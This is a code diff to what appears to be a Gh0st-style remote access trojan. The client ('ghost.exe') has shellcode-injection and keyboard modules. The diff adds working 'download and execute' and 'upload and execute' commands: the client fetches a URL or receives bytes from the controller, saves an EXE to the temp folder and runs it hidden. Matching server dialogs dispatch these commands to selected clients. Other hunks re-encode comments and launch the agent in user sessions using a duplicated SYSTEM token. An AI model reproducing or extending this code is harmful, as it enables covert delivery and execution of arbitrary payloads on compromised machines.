diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 222588a..49e1278 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -19,6 +19,8 @@ #include "ShellcodeInj.h" #include "KeyboardManager.h" +#pragma comment(lib, "urlmon.lib") + // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { @@ -406,6 +408,75 @@ bool EnableShutdownPrivilege() return true; } +class CDownloadCallback : public IBindStatusCallback { +private: + DWORD m_startTime; + DWORD m_timeout; // 毫秒 + +public: + CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) { + m_startTime = GetTickCount(); + } + + HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax, + ULONG ulStatusCode, LPCWSTR szStatusText) override { + // 超时检查 + if (GetTickCount() - m_startTime > m_timeout) { + return E_ABORT; // 取消下载 + } + return S_OK; + } + + // 其他接口方法返回默认值 + HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; } + HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; } + HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; } + HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; } + HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; } + HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; } + HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; } + + // IUnknown + ULONG STDMETHODCALLTYPE AddRef() override { return 1; } + ULONG STDMETHODCALLTYPE Release() override { return 1; } + HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override { + if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) { + *ppv = this; + return S_OK; + } + return E_NOINTERFACE; + } +}; + +void DownExecute(const std::string &strUrl, CManager *This) { + // 临时路径 + char szTempPath[MAX_PATH], szSavePath[MAX_PATH]; + GetTempPathA(MAX_PATH, szTempPath); + srand(GetTickCount64()); + sprintf_s(szSavePath, "%sDownload_%d.exe", szTempPath, rand() % 10086); + + // 下载并运行 + const int timeoutMs = 30 * 1000; + CDownloadCallback callback(timeoutMs); + if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) + { + ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); + Mprintf("Download Exec Success: %s\n", strUrl.c_str()); + char buf[100]; + sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID()); + ClientMsg msg("执行成功", buf); + This->SendData(LPBYTE(&msg), sizeof(msg)); + } + else + { + Mprintf("Download Exec Failed: %s\n", strUrl.c_str()); + char buf[100]; + sprintf_s(buf, "Client %llu download exec failed", This->GetClientID()); + ClientMsg msg("执行失败", buf); + This->SendData(LPBYTE(&msg), sizeof(msg)); + } +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -418,6 +489,39 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { + case COMMAND_DOWN_EXEC: + { + std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); + break; + } + + case COMMAND_UPLOAD_EXEC: + { + if (ulLength < 5) break; + + DWORD dwFileSize = *(DWORD*)(szBuffer + 1); + if (dwFileSize == 0 || ulLength < (5 + dwFileSize)) break; + BYTE* pFileData = szBuffer + 5; + + char szTempPath[MAX_PATH], szSavePath[MAX_PATH]; + GetTempPathA(MAX_PATH, szTempPath); + srand(GetTickCount64()); + sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086); + + FILE* fp = fopen(szSavePath, "wb"); + if (fp) + { + fwrite(pFileData, 1, dwFileSize, fp); + fclose(fp); + ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); + Mprintf("Upload Exec Success: %d bytes\n", dwFileSize); + } + char buf[100]; + sprintf_s(buf, "Client %llu upload exec %s", m_conn->clientID, fp ? "succeed" : "failed"); + ClientMsg msg(fp ? "执行成功" : "执行失败", buf); + SendData(LPBYTE(&msg), sizeof(msg)); + break; + } case TOKEN_MACHINE_MANAGE: if (ulLength <= 1 || !EnableShutdownPrivilege()) break; #ifdef _DEBUG diff --git a/client/KernelManager.h b/client/KernelManager.h index 31996c8..36eeb99 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -202,6 +202,9 @@ public: CloseHandle(hProcessSnap); return false; } + virtual uint64_t GetClientID() const override { + return m_conn->clientID; + } }; #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) diff --git a/client/Manager.h b/client/Manager.h index 1a44548..29d6180 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -65,6 +65,9 @@ public: { m_bReady = ready; } + virtual uint64_t GetClientID() const { + return 0; + } }; #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index c6757b5..2934ccd 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -331,10 +331,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) clock_t last_check = clock(); timeBeginPeriod(1); while (This->m_bIsWorking) { - if (!This->IsConnected()) { - Sleep(50); - continue; - } + WAIT_n(This->m_bIsWorking && !This->IsConnected(), 6, 200); + if (!This->IsConnected()) This->OnReconnect(); + if (!This->IsConnected()) continue; if (!This->m_SendFirst && This->IsConnected()) { This->m_SendFirst = TRUE; This->SendBitMapInfo(); diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c index e7e8efb..b5e26fc 100644 --- a/client/ServiceWrapper.c +++ b/client/ServiceWrapper.c @@ -1,4 +1,4 @@ -#include "ServiceWrapper.h" +#include "ServiceWrapper.h" #include "SessionMonitor.h" #include diff --git a/client/ServiceWrapper.h b/client/ServiceWrapper.h index 089b6f2..8be58f0 100644 --- a/client/ServiceWrapper.h +++ b/client/ServiceWrapper.h @@ -1,4 +1,4 @@ -#ifndef SERVICE_WRAPPER_H +#ifndef SERVICE_WRAPPER_H #define SERVICE_WRAPPER_H #include diff --git a/client/SessionMonitor.c b/client/SessionMonitor.c index 4fc0464..da8b642 100644 --- a/client/SessionMonitor.c +++ b/client/SessionMonitor.c @@ -1,17 +1,17 @@ -#include "SessionMonitor.h" +#include "SessionMonitor.h" #include #include #include #pragma comment(lib, "userenv.lib") -// ̬ʼ +// 动态数组初始容量 #define INITIAL_CAPACITY 4 #define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__) extern void MyLog(const char* file, int line, const char* format, ...); -// ǰ +// 前向声明 static DWORD WINAPI MonitorThreadProc(LPVOID param); static void MonitorLoop(SessionMonitor* self); static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId); @@ -19,14 +19,14 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId); static void TerminateAllAgents(SessionMonitor* self); static void CleanupDeadProcesses(SessionMonitor* self); -// ̬鸨 +// 动态数组辅助函数 static void AgentArray_Init(AgentProcessArray* arr); static void AgentArray_Free(AgentProcessArray* arr); static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info); static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index); // ============================================ -// ̬ʵ +// 动态数组实现 // ============================================ static void AgentArray_Init(AgentProcessArray* arr) @@ -51,7 +51,7 @@ static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info) size_t newCapacity; AgentProcessInfo* newItems; - // Ҫ + // 需要扩容 if (arr->count >= arr->capacity) { newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; newItems = (AgentProcessInfo*)realloc( @@ -76,7 +76,7 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index) return; } - // Ԫǰ + // 将后面的元素前移 for (i = index; i < arr->count - 1; i++) { arr->items[i] = arr->items[i + 1]; } @@ -84,7 +84,7 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index) } // ============================================ -// ӿʵ +// 公开接口实现 // ============================================ void SessionMonitor_Init(SessionMonitor* self) @@ -140,7 +140,7 @@ void SessionMonitor_Stop(SessionMonitor* self) self->monitorThread = NULL; } - // ֹд + // 终止所有代理进程 Mprintf("Terminating all agent processes..."); TerminateAllAgents(self); @@ -149,7 +149,7 @@ void SessionMonitor_Stop(SessionMonitor* self) } // ============================================ -// ڲʵ +// 内部函数实现 // ============================================ static DWORD WINAPI MonitorThreadProc(LPVOID param) @@ -175,10 +175,10 @@ static void MonitorLoop(SessionMonitor* self) while (self->running) { loopCount++; - // ֹĽ + // 清理已终止的进程 CleanupDeadProcesses(self); - // öлỰ + // 枚举所有会话 pSessionInfo = NULL; dwCount = 0; @@ -192,7 +192,7 @@ static void MonitorLoop(SessionMonitor* self) sessionId = pSessionInfo[i].SessionId; foundActiveSession = TRUE; - // ¼Ựÿ5ѭ¼һΣ־ࣩ + // 记录活动会话(每5次循环记录一次,避免日志过多) if (loopCount % 5 == 1) { sprintf(buf, "Active session found: ID=%d, Name=%s", (int)sessionId, @@ -200,21 +200,21 @@ static void MonitorLoop(SessionMonitor* self) Mprintf(buf); } - // ǷڸûỰ + // 检查代理是否在该会话中运行 if (!IsAgentRunningInSession(self, sessionId)) { sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId); Mprintf(buf); if (LaunchAgentInSession(self, sessionId)) { Mprintf("Agent launched successfully"); - // һЩʱ + // 给进程一些时间启动 Sleep(2000); } else { Mprintf("Failed to launch agent"); } } - // ֻһỰ + // 只处理第一个活动会话 break; } } @@ -230,7 +230,7 @@ static void MonitorLoop(SessionMonitor* self) } } - // ÿ10һ + // 每10秒检查一次 for (j = 0; j < 100 && self->running; j++) { Sleep(100); } @@ -249,14 +249,14 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) BOOL found = FALSE; DWORD procSessionId; - (void)self; // δʹ + (void)self; // 未使用 - // ȡǰ̵ exe + // 获取当前进程的 exe 名称 if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) { return FALSE; } - // ȡļ· + // 获取文件名(不含路径) pFileName = strrchr(currentExeName, '\\'); if (pFileName) { pFileName++; @@ -264,10 +264,10 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) pFileName = currentExeName; } - // ȡǰ̵ PID + // 获取当前服务进程的 PID currentPID = GetCurrentProcessId(); - // ̿ + // 创建进程快照 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { Mprintf("CreateToolhelp32Snapshot failed"); @@ -278,17 +278,17 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) if (Process32First(hSnapshot, &pe32)) { do { - // ͬ exeghost.exe + // 查找同名的 exe(ghost.exe) if (_stricmp(pe32.szExeFile, pFileName) == 0) { - // ųԼ + // 排除服务进程自己 if (pe32.th32ProcessID == currentPID) { continue; } - // ȡ̵ĻỰID + // 获取进程的会话ID if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { if (procSessionId == sessionId) { - // ҵˣͬ exeͬ PIDĿỰ + // 找到了:同名 exe,不同 PID,在目标会话中 found = TRUE; break; } @@ -301,7 +301,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) return found; } -// ֹд +// 终止所有代理进程 static void TerminateAllAgents(SessionMonitor* self) { char buf[256]; @@ -321,17 +321,17 @@ static void TerminateAllAgents(SessionMonitor* self) (int)info->processId, (int)info->sessionId); Mprintf(buf); - // Ƿ + // 检查进程是否还在运行 if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode == STILL_ACTIVE) { - // ̻Уֹ + // 进程还在运行,终止 if (!TerminateProcess(info->hProcess, 0)) { sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d", (int)info->processId, (int)GetLastError()); Mprintf(buf); } else { Mprintf("Agent terminated successfully"); - // ȴȫ˳ + // 等待进程完全退出 WaitForSingleObject(info->hProcess, 5000); } } else { @@ -344,13 +344,13 @@ static void TerminateAllAgents(SessionMonitor* self) CloseHandle(info->hProcess); } - self->agentProcesses.count = 0; // + self->agentProcesses.count = 0; // 清空数组 LeaveCriticalSection(&self->csProcessList); Mprintf("All agents terminated"); } -// ѾֹĽ +// 清理已经终止的进程 static void CleanupDeadProcesses(SessionMonitor* self) { size_t i; @@ -366,17 +366,17 @@ static void CleanupDeadProcesses(SessionMonitor* self) if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode != STILL_ACTIVE) { - // ˳ + // 进程已退出 sprintf(buf, "Agent PID=%d exited with code %d, cleaning up", (int)info->processId, (int)exitCode); Mprintf(buf); CloseHandle(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); - continue; // iΪɾԪ + continue; // 不增加 i,因为删除了元素 } } else { - // ޷ȡ˳룬ܽѲ + // 无法获取退出代码,可能进程已不存在 sprintf(buf, "Cannot query agent PID=%d, removing from list", (int)info->processId); Mprintf(buf); @@ -415,16 +415,16 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) Mprintf(buf); si.cb = sizeof(STARTUPINFO); - si.lpDesktop = (LPSTR)"winsta0\\default"; // ؼָ + si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面 - // ȡǰ̵ SYSTEM + // 获取当前服务进程的 SYSTEM 令牌 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError()); Mprintf(buf); return FALSE; } - // Ϊڴ̵ + // 复制为可用于创建进程的主令牌 if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError()); @@ -433,7 +433,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) return FALSE; } - // ޸ƵĻỰ ID ΪĿûỰ + // 修改令牌的会话 ID 为目标用户会话 if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError()); Mprintf(buf); @@ -444,7 +444,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) Mprintf("Token duplicated"); - // ȡǰ·Լ + // 获取当前进程路径(启动自己) if (!GetModuleFileName(NULL, exePath, MAX_PATH)) { Mprintf("GetModuleFileName failed"); CloseHandle(hDupToken); @@ -455,7 +455,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) sprintf(buf, "Service path: %s", exePath); Mprintf(buf); - // ļǷ + // 检查文件是否存在 fileAttr = GetFileAttributes(exePath); if (fileAttr == INVALID_FILE_ATTRIBUTES) { sprintf(buf, "ERROR: Executable not found at: %s", exePath); @@ -465,19 +465,19 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) return FALSE; } - // Уͬһ exe -agent + // 构建命令行:同一个 exe, 但带上 -agent 参数 sprintf(cmdLine, "\"%s\" -agent", exePath); sprintf(buf, "Command line: %s", cmdLine); Mprintf(buf); - // ȡûڻ + // 获取用户令牌用于环境变量 if (!WTSQueryUserToken(sessionId, &hUserToken)) { sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError()); Mprintf(buf); } - // ʹûƴ + // 使用用户令牌创建环境块 if (hUserToken) { if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { Mprintf("CreateEnvironmentBlock failed"); @@ -485,17 +485,17 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) CloseHandle(hUserToken); } - // ûỰд + // 在用户会话中创建进程 result = CreateProcessAsUser( hDupToken, - NULL, // Ӧóн - cmdLine, // вghost.exe -agent - NULL, // ̰ȫ - NULL, // ̰߳ȫ - FALSE, // ̳о - NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // ־ - lpEnvironment, // - NULL, // ǰĿ¼ + NULL, // 应用程序名(在命令行中解析) + cmdLine, // 命令行参数:ghost.exe -agent + NULL, // 进程安全属性 + NULL, // 线程安全属性 + FALSE, // 不继承句柄 + NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志 + lpEnvironment, // 环境变量 + NULL, // 当前目录 &si, &pi ); @@ -508,21 +508,21 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId); Mprintf(buf); - // ϢԱֹͣʱֹ + // 保存进程信息,以便停止时可以终止它 EnterCriticalSection(&self->csProcessList); info.processId = pi.dwProcessId; info.sessionId = sessionId; - info.hProcess = pi.hProcess; // رվںֹ + info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止 AgentArray_Add(&self->agentProcesses, &info); LeaveCriticalSection(&self->csProcessList); - CloseHandle(pi.hThread); // ߳̾Թر + CloseHandle(pi.hThread); // 线程句柄可以关闭 } else { err = GetLastError(); sprintf(buf, "CreateProcessAsUser failed: %d", (int)err); Mprintf(buf); - // ṩϸĴϢ + // 提供更详细的错误信息 if (err == ERROR_FILE_NOT_FOUND) { Mprintf("ERROR: agent executable file not found"); } else if (err == ERROR_ACCESS_DENIED) { diff --git a/client/SessionMonitor.h b/client/SessionMonitor.h index 8be9c19..aaa56f4 100644 --- a/client/SessionMonitor.h +++ b/client/SessionMonitor.h @@ -1,4 +1,4 @@ -#ifndef SESSION_MONITOR_H +#ifndef SESSION_MONITOR_H #define SESSION_MONITOR_H #include diff --git a/common/commands.h b/common/commands.h index b74419f..7fc8a5e 100644 --- a/common/commands.h +++ b/common/commands.h @@ -175,7 +175,7 @@ enum { COMMAND_SESSION, // Ựػע, жأ COMMAND_REMOVE, // жغ COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ + COMMAND_UPLOAD_EXEC, // - ϴִ COMMAND_CLEAN_EVENT, // - ϵͳ־ COMMAND_OPEN_URL_HIDE, // - شҳ COMMAND_OPEN_URL_SHOW, // - ʾҳ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a01e500..a0410af 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -419,6 +419,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_tinyDLL = NULL; auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins"); m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end()); + m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000); } @@ -774,7 +775,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } if (ctx->GetClientID() == id) { LeaveCriticalSection(&m_cs); - Mprintf("上线消息 - 主机已经存在 [2]: same client ID. IP= %s\n", data[ONLINELIST_IP]); + Mprintf("上线消息 - 主机已经存在 [2]: %llu. IP= %s. Path= %s\n", id, data[ONLINELIST_IP], path); return; } } @@ -2836,6 +2837,25 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) return CDialogEx::PreTranslateMessage(pMsg); } +LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) { + auto start = std::chrono::steady_clock::now(); + + LRESULT result = CDialogEx::WindowProc(message, wParam, lParam); + + auto ms = std::chrono::duration_cast( + std::chrono::steady_clock::now() - start).count(); + + if (ms > m_TraceTime) { + if (message >= WM_USER) { + Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms); + } + else { + Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms); + } + } + + return result; +} void CMy2015RemoteDlg::OnOnlineShare() { @@ -3875,13 +3895,67 @@ void CMy2015RemoteDlg::OnMachineReboot() void CMy2015RemoteDlg::OnExecuteDownload() { - TODO_NOTICE; -} + CInputDialog dlg(this); + dlg.Init("下载执行", "远程下载地址:"); + dlg.m_str = "https://127.0.0.1/example.exe"; + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) + return; + + CString strUrl = dlg.m_str; + int nUrlLen = strUrl.GetLength(); + + int nPacketSize = 1 + nUrlLen + 1; + BYTE* pPacket = new BYTE[nPacketSize]; + + pPacket[0] = COMMAND_DOWN_EXEC; + memcpy(pPacket + 1, strUrl.GetBuffer(), nUrlLen); + pPacket[1 + nUrlLen] = '\0'; + + SendSelectedCommand(pPacket, nPacketSize); + + delete[] pPacket; +} void CMy2015RemoteDlg::OnExecuteUpload() { - TODO_NOTICE; + CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST, + _T("可执行文件 (*.exe)|*.exe||"), this); + + if (dlg.DoModal() != IDOK) + return; + + CString strFilePath = dlg.GetPathName(); + CFile file; + + if (!file.Open(strFilePath, CFile::modeRead | CFile::typeBinary)) { + MessageBox("无法读取文件!\r\n" + strFilePath, "错误", MB_ICONERROR); + return; + } + + DWORD dwFileSize = (DWORD)file.GetLength(); + if (dwFileSize == 0 || dwFileSize > 12 * 1024 * 1024) { + MessageBox("文件为空或超过12MB,无法使用此功能!", "提示", MB_ICONWARNING); + file.Close(); + return; + } + + BYTE* pFileData = new BYTE[dwFileSize]; + file.Read(pFileData, dwFileSize); + file.Close(); + + // 命令+大小+内容 + int nPacketSize = 1 + 4 + dwFileSize; + BYTE* pPacket = new BYTE[nPacketSize]; + + pPacket[0] = COMMAND_UPLOAD_EXEC; + memcpy(pPacket + 1, &dwFileSize, 4); + memcpy(pPacket + 1 + 4, pFileData, dwFileSize); + + SendSelectedCommand(pPacket, nPacketSize); + + delete[] pFileData; + delete[] pPacket; } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 081d8a9..e5a28a6 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -324,6 +324,8 @@ public: afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); + int m_TraceTime = 1000; + virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam); afx_msg void OnOnlineShare(); afx_msg void OnToolAuth(); afx_msg void OnToolGenMaster();